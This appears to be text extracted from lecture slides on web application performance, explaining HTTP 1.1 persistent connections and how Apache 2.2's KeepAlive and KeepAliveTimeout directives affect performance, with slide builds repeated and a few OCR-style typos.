Caching Caching

- With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.
- This can improve response time and throughput quite a lot, since it takes time to establish a new connection.

- With HTTP 1.1, TCP connections are by default reused for multiple HTTP requests.
- This can improve response time and throughput quite a lot, since it takes time to establish a new connection.
- ► To enable this, the **content-length** header must be set in the HTTP response, otherwise the client can not know when the response is delivered and the connection is free to reuse.

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching
Persistent Connections

Configuring Persistent Connections

By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity. lon-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Client-Side Validation
Caching

- By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity.
- Persistent connections are turned on by specifying **KeepAlive On** in the configuration file. This is also the default value.

lon-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Client-Side Validation
Caching

Configuring Persistent Connections

- By default, the Apache 2.2 server uses persistent connections that are closed after 15 seconds of inactivity.
- Persistent connections are turned on by specifying **KeepAlive On** in the configuration file. This is also the default value.
- ► The timeout period is configured with the **KeepAliveTimeout** directive, **KeepAliveTimeout 60** specifies that connections shall be closed after 60 seconds of inactivity.

Pareistant Connections

Configuring Persistent Connections (Cont'd)

A longer timeout period normally improves performance if there are few concurrent requests.

Non-Functional Requirements

Non-Functional Requirements

Security

File System Security
Input Filtering
Database Security
Password Encryption
Cross Site Scripting, XSS

Performance

Caching

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.
- With many concurrent requests, performance is worsened with a long timeout, since the server uses too much resources for all open connections.

Configuring Persistent Connections (Cont'd)

- A longer timeout period normally improves performance if there are few concurrent requests.
- With many concurrent requests, performance is worsened with a long timeout, since the server uses too much resources for all open connections.
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- Note that this does not limit the number of open connections.

Pareistant Connections